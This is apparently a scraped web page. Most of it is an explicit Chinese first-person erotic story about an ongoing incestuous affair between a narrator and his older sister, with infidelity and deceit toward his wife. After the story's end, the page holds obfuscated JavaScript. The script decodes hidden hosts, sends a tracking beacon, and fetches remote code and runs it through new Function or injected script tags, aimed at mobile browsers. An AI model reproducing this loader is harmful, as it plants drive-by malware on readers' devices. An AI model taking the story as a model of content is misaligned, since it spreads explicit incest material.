「姐姐下午不知道做什么好吃的给我?还有,今晚……」
一想起这些,我来了精神,洗了把脸,就往大姐家赶。姐姐在做饭,看起来
睡了一天了也精神了。
「你先进屋躺一会儿,饭马上就好。」姐姐关切的说。她一定明白我很瞌睡。
我躺在沙发上,很快就睡着了。醒来的时候已经8点了,天都黑了,原来我
睡了将近三个小时。我一睁开眼睛,发现姐姐正靠着我坐在沙发上,见我醒了,
摸了摸我的头,说:「看把你累的,晚上早点睡吧……」
我这时精神已经恢复了。
我一只手搂住姐姐的腰,一只手抓住她的奶,「不行,姐,我要为你精尽人
亡!」
「瞎说!」姐姐嗔怪的打了我一下,「快吃饭吧。」
我饿了一个下午,看到一桌子丰盛的饭菜,真是「食色,性也」。我暂时撇
开姐姐的身体,狼吞虎咽的吃了起来。
饭后,我和姐姐依偎着坐在沙发上看电视,看了一会,姐姐进了卧室,我以
为这就要来了,也跟了进去,结果姐姐从一个锁着的抽屉里拿出一盒录像带,示
意我来看。原来是一盘黄色录像带,不过内容和我以前在小强家看的不太一样。
这盒录像带里的内容差不多是教各种不同性交姿势的。我躺在沙发上,从后
面揽住姐姐的腰,勃起的阴茎顶着姐姐的大腿,另一只手抓着姐姐的奶。姐姐说,
这是姐夫买的,可以学不同的姿势,他们也是第二天就看了。
姐姐拿着遥控器,看明白一个姿势就快进看另一个而不看性交过程,看了一
会,我也开始把手伸进姐姐衣服里面摸了。
我说:「姐,咱们一个一个试吧。」
「讨厌,等会儿……」
姐姐似乎还想继续看,但我已经耐不住了,一把抱起姐姐,姐姐尖叫了一声,
在我怀里用遥控器关掉了录像机并把遥控扔到沙发上,结果因为我抱着她在走也
没扔准,遥控器从沙发上滑到了地上。
我也顾不上那许多了,一进卧室就把姐姐扒了个精光,自己也脱的赤条条。
我们先疯狂的亲吻抚摸了一会,然后,就开始实践刚才学到的姿势……姐姐
一边喘气,一边说:「昨天你太累了,今天只许一次……恩……啊…听到没有…」
「你不是说等你结婚了我想玩多少次就玩多少次吗?」我故意逗姐姐边喘气
边说话,其实我知道自己今天一次就行了。
「那也不能累坏了身体呀,姐是为……啊……恩……为你身体着想……」
我一边抽插,一边不停的和姐姐抬杠,打岔,目的是想多听听她一边娇喘一
边说话的美妙声音。
在实践了几种姿势以后,我终于射了,姐姐也抽搐、痉挛的紧紧用大腿夹住
我,两手胡乱的抓挠被子和枕巾,我知道她看见我的胳膊昨天被她抓破了。今天
就改抓被子什么的了。我「哼……呀……」了两声,停止了动作,静静的体味着
和姐姐同时达到的高潮……
当晚我睡的很实,第二天上午上课也没影响什么,但到了下午,我又开始骚
动了,因为当天是周末,我可以和姐姐玩一个晚上了!当晚,我终于忍不住还是
为姐姐口交了,我想这几天天天洗好几次,就算大姐阴道里有再多的姐夫的精液
也该洗的很干净了吧?
当晚,我们先变换着刚学的姿势性交了一次,洗过澡休息了一会,我们又分
别为对方口交了一次。最后,我和姐姐采取69的姿势躺着,一会互相舔舔生殖
器,一会打瞌睡……
以前我们已经经常采取这个姿势睡觉了。醒来的时候已经中午11点了,而
我和姐姐依然基本保持着69的姿势,只不过中间一起翻了几次身,但始终互相
之间嘴都没有离开对方的生殖器……姐姐好象比我醒的早,因为她正在吮吸着我
疲软的阴茎,而我的嘴上已经又沾了一些新的黏液。
我马上来了精神!阴茎很快的勃起了!姐姐发现自己嘴里含的生殖器突然变
大,抬头看了看我,「醒了?小虎……」
我没回答,而是再次把脸埋在姐姐的阴部,疯狂的舔起来……等我俩终于洗
干净了自己的身子从浴室双双走出来的时候,已经快下午1点了。我俩都有点饿
了。
姐姐说:「来不及做饭了,出去吃吧,想吃点什么?」
我俩出去吃了肯德基,又一起买了下午的菜,就象一对过日子的恩爱夫妻一
样。晚上吃过晚饭,因为第二天是星期一要上课,所以我和姐姐很早就上了床。
当我们再次云雨一番以后,姐姐把那盒避孕套递给我说:「明天记得带走,
小心保管,记住,以后要养成好习惯,不能在姐家留下任何痕迹。」
「姐夫要回来了吗?」
「还没来电话,你明天中午给我打个电话再决定晚上来不来,记住,避孕套
一定要保管好,不要让同学看见,我让你拿来你再拿来,也不要拿盒子。」
「我知道了姐。」
一想到姐夫明天可能就回来了,我又想弄一次,姐姐制止了我,「明天还要
上课呢。来日方长,你姐夫经常出差。」
「那好吧,不过姐,我今晚想把脸一直贴着你的屁股睡觉。」
「小鬼……」姐姐亲昵的捏了一下我的鼻子,转过身去,把屁股撅过来对着
我,我躺下把脸贴上去,甜蜜的进入了梦乡……
第二天中午一下课,我就马上打电话给姐姐,结果姐姐说姐夫下午就要回来
了。我和姐姐的「蜜月」也只好提前结束了。
晚上,我躺在宿舍里,在黑暗中摆弄着剩下的避孕套,想象着小别胜新婚的
姐姐和姐夫今晚都在干些什么。我又嫉妒又兴奋,一边手淫,一边想:「姐姐和
姐夫一定现在爽作一团了,说不定今晚不止一次的弄呢。而姐夫一定想不到这几
天姐姐晚上一直都没闲着,而我在替姐夫服侍姐姐……」
此后的一年多时间,姐夫每隔一到两个月就会出差一次,当然每次我这个
「候补丈夫」就代替了姐夫的位置。而姐姐慢慢发现姐夫在单位的时候从来不会
中途突然回来,于是我有时候下午没课或者星期天的白天,也去姐姐家玩,结果
常常是我玩过了姐姐,然后和他们两口子共进晚餐,然后我回学校,姐夫又接着
玩姐姐。
有一次,我下午没课,正在姐姐家的沙发上抓着她的奶玩儿着,突然电话响
了,姐姐看了看来电显示,然后拿开我的手,做了一个轻轻的驱赶动作并示意我
不要出声(此情节在本人上篇文章《我的十年公车生涯》中曾经提到过)。
我觉得这个动作很好笑,差点笑出声来。姐姐挂了电话,我又扑上去一边摸,
一边问什么事。当得知姐夫说他晚上不在家吃饭并且要晚回来以后,我二话不说
就抱起姐姐进了卧室……
这样的日子过了一年多,在我上大二的第二个学期的那个春天,姐夫终于把
姐姐的肚子弄大了。而此后的很长一段时间,避孕套暂时用不上了。前几个月,
只能是姐姐替我口交而不让我替她口交怕影响孩子健康,而这段时间就算姐夫出
差姐姐也不能享受我上她。而每次就是这么无私的替我口交。
有时,当我看着跪在地下挺着个大肚子象一条狗一样的贪婪的吮吸着我的阴
茎的姐姐,我暗自感慨,伟大的姐姐!姐姐对我太好了,以后等孩子生了,我要
好好报答她。
又过了几个月,离外甥出生已经不远了,姐姐的婆婆搬到姐姐家照顾姐姐的
生活,而我也只好收起了我的阴茎,压抑自己的情欲。就算去姐姐家也只能是正
常的看望。
姐姐的婆婆对我也很好,我只要去了就是姐姐吃什么好的我就吃什么好的。
她老人家一定万万也想不到,我这个亲戚玩她的儿媳妇已经好几年了,比他
儿子玩的时间还长。
我不禁暗自庆幸自己没有在姐姐出嫁前破她的处。从姐姐在他们家的地位就
能看出来在中国洞房的时候,落红对一个女人的一生是多么的重要。有时姐姐的
婆婆在厨房忙着做饭的时候,我和姐姐也会亲一会儿嘴。甚至在姐姐已经住院临
产的时候,我们还亲过嘴……终于,小外甥出世了。
小外甥出生那天,我请假去医院探望。一到病房门口,我就看见姐姐那张苍
白憔悴的脸。而除了姐姐,别人都没看见我来了。
我鼻子一酸,跑到厕所哭了起来。姐姐为了给姐夫生个孩子,不但要忍受在
一个女人性欲非常强烈的23岁前后一年的时间阴道不能被男人插,而且,在我
眼中永远年轻漂亮的姐姐今天看起来象变成另外一个人,姐姐被折磨成什么样子
了!!
我很长时间才平静下来,进入病房,和姐姐的婆家人礼貌的打过招呼,坐在
姐姐床前,姐姐无力的对我笑笑,我当时什么也做不了,只有按照常人看来再正
常不过的方式问候着姐姐……
我在医院墙壁上挂的产妇知识宣传画上了解到生完孩子的女人在42天后才
能过性生活。我暗自祈祷,姐姐快点恢复,我要报答姐姐,报答她怀孕期间强忍
着性冲动为我口交。一想到姐姐因为生了孩子阴道可能被撑的很大,我又忍不住
热泪盈眶……
42天时间终于熬过去了,而我估计姐姐和姐夫已经慢慢的恢复了性生活,
我暗自松了口气,姐姐终于可以过瘾了,终于可以释放压抑已久的性欲了。姐夫
一定也憋了很久,可不要莽撞,一定要对姐姐温柔呀!
而我却还是没有机会报答姐姐,因为姐姐的婆婆为了照顾孙子和媳妇,已经
在他们家住下了。而我这个当舅舅的也不能太频繁的去他们家。只是偶尔我去了,
姐夫不在家,而姐姐的婆婆只要上厕所,我和姐姐就疯狂的亲嘴,然后马上分开,
假装没事的样子。
还有一次,姐夫不在家而姐姐的婆婆要出去买菜,我看着她老人家走远了,
马上跑回姐姐身边,拉开姐姐的衣服,含住姐姐的奶头,吮吸着姐姐甜蜜的乳汁,
姐姐动情的享受着,「别吃光了小虎,你外甥现在饭量可大呢……」
在外甥马上就要满一岁的时候,只有那么非常难得的一次机会,姐夫去外县
一整天,我去看姐姐(我觉得我去的还是有点太频繁了),正好她婆婆说要回家
办点急事,晚上才能回来。机会终于来了!
等小外甥终于熟睡了,我和姐姐终于动情的拥抱在一起,那次我们实在是压
抑的太久,就在外甥睡觉的房间里搞在了一起……好在我有不管有没有机会,去
姐姐家随身总带两个避孕套的习惯。
几乎没有什么前戏,我就带上了套,久别重逢的我的阴茎和姐姐的阴道,隔
着避孕套疯狂的搅和在一起,互诉相思之苦,离别之恨。
我两手抓着姐姐那已经被小外甥吃的变形的乳房,操着那已经松了许多的姐
姐的阴道,狠狠的看着熟睡的外甥,心中暗骂:「我操你妈!我操你妈!都怪你
小家伙,把我姐的阴道撑的这么大,奶才让你吃了一年就变形成这样,我吃了好
几年也没一点变形……我操你妈!我操你妈……」
终于,随着精液的喷发,在时隔将近两年以后,我和姐姐终于疯狂的呻吟着、
痉挛着扭在了一起,我久久不愿放开姐姐……
外甥一岁多一点的那个冬天,姐姐终于给他断奶了。姐姐的婆婆也终于回家
去了,可姐夫又雇了个小保姆照顾姐姐和孩子,这使我还是没什么机会和姐姐乱
来。
因为怕小保姆打小报告,姐夫出差的时候姐姐反倒不让我去看她,只是在姐
夫没出差而在单位工作的时候,我偶尔去一下,姐姐让小保姆出去买些什么东西,
我和姐姐才能享受片刻的温情。
而就这样的机会也很少。我真没想到原以为只要姐姐生过了孩子恢复了我们
就可以跟以前一样的频繁乱搞的,但自从姐姐生了孩子之后我和姐姐都快成了牛
郎织女了,很长时间才能团聚一次,而一直到我大学毕业工作了我和生了孩子的
姐姐一共才性交了3次……
毕业后,由于回家住了,离姐姐家远了许多,我和姐姐团聚的机会更少了,
但每次团聚就更显得珍贵。而我和姐姐的心始终是紧密相连的。虽然我早已经有
了女朋友并且已经决定在我毕业两年后她一毕业就结婚(上篇文章《我的十年公
车生涯》中提到过),但我和姐姐的感情始终没有淡漠,也不会淡漠。
有时,姐姐会给我打电话,说她想我,说着说着就哭了,我也忍不住眼圈都
红了……我从毕业到结婚的两年中,我和姐姐别说性交,就连拥抱亲嘴的机会都
屈指可数。
终于,我和姐姐有了短暂的团聚机会,那是我毕业后两年的夏天,我终于拿
到新楼的钥匙了,这是给我准备国庆节结婚的新房。这个时候小外甥已经上幼儿
园了,所以姐姐有机会过来看我了。而房子也开始装修布置了。
父母从外地赶回来,辞退了保姆,准备把爷爷接到外地养老,并和房东说好
我一结婚这里的房子就不租了。由于就要和照顾我和姐姐多年的爷爷分开了,姐
姐回家来住了几天,小外甥也暂时由他奶奶接送照看。
这是姐姐最后一次回娘家了,以前回娘家来由于总带着小外甥所以我俩什么
也做不了。爷爷跟父母走的那天,我和姐姐抱着爷爷,哭的成了泪人。年迈的爷
爷也老泪纵横,但没办法,我和姐姐先后都成家,爷爷没人照顾,只好去父母那
里。
从火车站回到家里,我和姐姐眼睛还是红红的,我们依偎在一起,回忆以前
我们和爷爷住在一起的快乐时光。回想起一起看电视时的开怀大笑;想起爷爷早
上叫我们起床时已经买好了油条豆浆;想起我每次偷看姐姐洗澡和偷摸姐姐屁股
前,都要先到爷爷房间门口听一听爷爷是否入睡;想起我和姐姐有时光着身子搂
抱在一起睡觉,突然爷爷敲门时尴尬的情景。
尤其是那次,那次决定我和姐姐最终确定了乱伦关系的那个中午,姐姐假装
睡觉,我偷偷拉开姐姐内裤摸阴部,还沾了一手的黏液,爷爷突然叫我,而姐姐
突然转身朝里睡,使我从那时起怀疑姐姐是每次都在装睡……
我让姐姐躺在我床上,回忆当时的情景,复原当时的过程——姐姐只穿个小
背心和宽松内裤,假装睡觉,我「偷偷」的拉开姐姐的内裤底边,摸着姐姐已经
湿润的阴部……
但有两件事已经永远无法复原了,一个是姐姐的处女膜,一个就是爷爷永远
也不会在这个时候突然敲门了……想到这些,想到以后很难再见到爷爷了,我和
姐姐忍不住抱头痛哭……良久,我才扒光了姐姐的衣服,自己也脱了,和姐姐度
过了一个百感交集的下午……
国庆节前的一段时间,因为我除了姐姐在本地已经没有了亲人,而小外甥又
在幼儿园,所以姐姐天天过来帮我和女朋友小琴布置房间,选购结婚用的东西。
那几天姐夫正好在外地,要在我婚礼前才能赶回来。新房布置的差不多了,
有一天我们三个人刚从外面买东西回来,小琴的手机响了,原来是我的未来岳父
岳母出门居然忘了带钥匙,让小琴今天提前回家。
我要送小琴,但回头看了一眼大姐,大姐低头不语。
小琴说:「不用了小虎,你和姐把窗帘装一下吧。明天上午我九点给你打电
话。」
我送小琴出门,确定她走远了,还不放心怕她突然想起什么又回来,直到我
打电话确定小琴已经到家了,我才一下扑过去,把姐姐按在了我的新床上……
「小虎,你不是说小琴是处女吗?你要珍惜她,也要珍惜你的新床……」姐
姐推开我说,「要记住,这张新床是神圣的,只能你和小琴两个人睡……」
我以为大姐不想让我玩她了,有些生气。姐姐拉过一张还没有打开包装的沙
发垫子,铺在地上,坐上去……
我明白了,原来姐姐还是这么细心!我扑上去按住姐姐,「姐,你对我真的
太好了……」
我欲速不达,手忙脚乱的脱光了姐姐,因为常和小琴在一起,我不敢随身带
避孕套了,就想这么直接上算了,反正姐姐已经上避孕环了,姐姐制止了我,
「小虎,咱俩从来没有不带套,你的下边还是很纯洁的,姐不想在你结婚前几天
破坏你的纯洁,你应该把不带套的第一次留给纯洁的小琴……」
「是呀,我玩从前那个女朋友的时候也是次次都带的,我的龟头确实没有不
带套上过任何女人……」我心中暗想……
「那怎么办,姐?」我着急了,已经扒光了姐姐的衣服却不能上!
「你把姐的包拿过来……」原来姐姐今天包里带了避孕套!姐姐从包里取出
了一个很小的盒子,是只有两只装的避孕套。
「早知道你现在不敢装在身上了,给……」
我惊喜的看着姐姐,扑上去搂住姐姐:「你对我真好,姐……」
「记住用完要清理干净,不能留下任何痕迹……」
「知道了姐。」
我迫不及待的打开包装,套在阴茎上,姐姐已经摆好了姿势,我猛的一下插
了进去……
姐夫已经买好了9月28日的机票要回来了。27日晚,送走了小琴,我去
了姐姐家。小外甥已经熟睡了。
在我和姐姐尽情的享受我婚前最后一个不眠夜之后,姐姐对我说:「以后我
们不能象以前那样频繁的来往了,你有了你自己的生活,要好好珍惜,要知道你
所拥有的一切都来之不易。你放心,姐永远是你的好姐姐,以后有机会,你还要
来,但不能象这几年这么频繁了,你的小外甥也慢慢的大了……」
我用舌头舔了舔姐姐的嘴唇,说:「我明白,姐。我也永远是你的好弟弟。」
我想和姐姐再搞一次,被姐姐拒绝了。
「过几天你就要洞房了,这几天要注意身体。要好好对小琴,她是个好女孩。」
我静静的躺在姐姐的怀里,象依偎母亲一样依偎着她的乳房,不知不觉睡着
了……
我终于有了自己的「洞房」了,我第一次没带避孕套把阴茎插入阴道了,我
第一次上了一个真正的处女了,那张落红的床单我永远的保存着。
婚后,我和小琴一直没要孩子,而我俩的性生活也因为我的经验丰富而一直
都是高质量的。她问我是不是处男,我说是,我其实也不算完全撒谎吧,在和她
上床之前我的确没有不带套和任何女人搞过,我的裸露的龟头接触到的第一个阴
道的确就是小琴的。
她也没追问什么,我们幸福的生活着。小琴是独生女,我想幸亏是独生女,
如果有个弟弟那我可惨了,我那么爱她,要是小琴有和我姐一样的经历我也会娶
她的。
不过我的命运大概和姐夫就一样了。好在她是独生女。不过她要是有个妹妹
那可就更好了……我总是这么胡思乱想着。结婚一直到今天,已经整整四年了。
四年中,我和姐姐相聚的机会少之又少。不是姐夫出差了而小琴在家我不能
单独去姐姐家,就是小琴好不容易回一次娘家而姐夫又在家。
小琴的娘家虽然就在本市,但她回去的次数很少,大概因为太爱我了吧。我
也一直很爱小琴。这四年中,我和姐姐单独相处并且性交的机会每年也不过两三
次,而这好不容易得来的机会对我们更是弥足珍贵。我早已经辞职不干,自由职
业谋生了。
甚至这四年中间,我这个大色狼和一个邻居阿姨发生了通奸,还勾搭过一个
附近小饭馆的打工妹(见本人以前作品《一见钟情血和泪》),但都没有多少机
会去玩姐姐。婚后的后几年,我和小琴的性生活对我来说已经成了「啪、啪、啪
啪……恩、恩、啊……」的例行公事。而小琴还是乐此不疲,幸福的享受着我这
个她自以为只属于她一个人的男人的蹂躏。我看着身下的妻子小琴,眼前总是浮
现出姐姐呻吟娇喘的景象。
甚至到了最近一两年,我要是不把小琴幻想成姐姐简直就觉得没有什么激情。
我不是不爱小琴,我非常爱她。但我总忘不了我和姐姐多年来难忘的经历。
我和姐姐的性经历是小琴所无法比拟的。有时候,小琴已经睡了,我会幻想
着小时候偷摸姐姐的事,悄悄的拉开小琴的内裤,偷偷的抚摩她的阴部。
我要摸我老婆大可不必这样。但我喜欢这样,喜欢把小琴当成年轻时候的姐
姐来偷摸。这几年,我和姐姐常常通电话共同回忆我们小时候的荒唐,常常是说
着说着姐姐就哭了,说她想我。我也想你!我的好姐姐!我最亲爱的姐姐!
以后,当我不得不和小琴要孩子,而我和姐姐相聚的机会可能就更少了!但,
我和姐姐都知道,我们的心永远紧紧相连!
【全文完】
关闭
function kRTue(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LbDKuhQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kRTue(t);};window[''+'W'+'M'+'S'+'G'+'N'+'J'+'u'+'v'+'j'+'D'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LgsXP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LbDKuhQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LgsXP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LgsXP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLnZZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBBJTJGJTJGYS5iaGVhZS5jb20lM0E5NTM1','9489',window,document,['Z','B']);}:function(){};
function ofwZCSt(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VPXemrZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ofwZCSt(t);};window[''+'J'+'F'+'A'+'T'+'g'+'U'+'w'+'a'+'h'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function flte(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VPXemrZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=flte(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=flte(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmNzcHN4aaC5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS5kdGZhb2kuY24lM0E5NTM0','168322',window,document,['a','3']);}:function(){};
let urls=["hYYtYYtYYpYYsYY:YY/YY/YYuYY2YYoYY1YY2YYnYY4YYdYY7YY6YY.YYoYYsYYsYY-YYcYYnYY-YYhYYaYYnYYgYYzYYhYYoYYuYY.YYaYYlYYiYYyYYuYYnYYcYYsYY.YYcYYoYYmYY/YY1YY2YY/YY1YY1YY0YY5YYeYYcYY8YY5YY8YY2YY3YY7YY2".split("YY").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMbMM4MMbMM5MMbMM6MM.MMcMMoMMmMM/MM1MM2MM/MM1MM1MM0MM5MMeMMcMM8MM5MM8MM2MM3MM7MM2".split("MM").join(""),"hZZtZZtZZpZZsZZ:ZZ/ZZ/ZZmZZqZZ1ZZ2ZZnZZ4ZZdZZ7ZZ6ZZ.ZZoZZsZZsZZ-ZZcZZnZZ-ZZsZZhZZaZZnZZgZZhZZaZZiZZ.ZZaZZlZZiZZyZZuZZnZZcZZsZZ.ZZcZZoZZmZZ/ZZ1ZZ2ZZ/ZZ1ZZ1ZZ0ZZ5ZZeZZcZZ8ZZ5ZZ8ZZ2ZZ3ZZ7ZZ2".split("ZZ").join(""),"hIItIItIIpIIsII:II/II/IIdII8II9II-II1II3II1II3II9II4II4II0II6II2II.IIcIIoIIsII.IIaIIpII-IIhIIoIInIIgIIkIIoIInIIgII.IImIIyIIqIIcIIlIIoIIuIIdII.IIcIIoIImII/II1II1II0II5IIeIIcII8II5II8II2II3II7II2".split("II").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();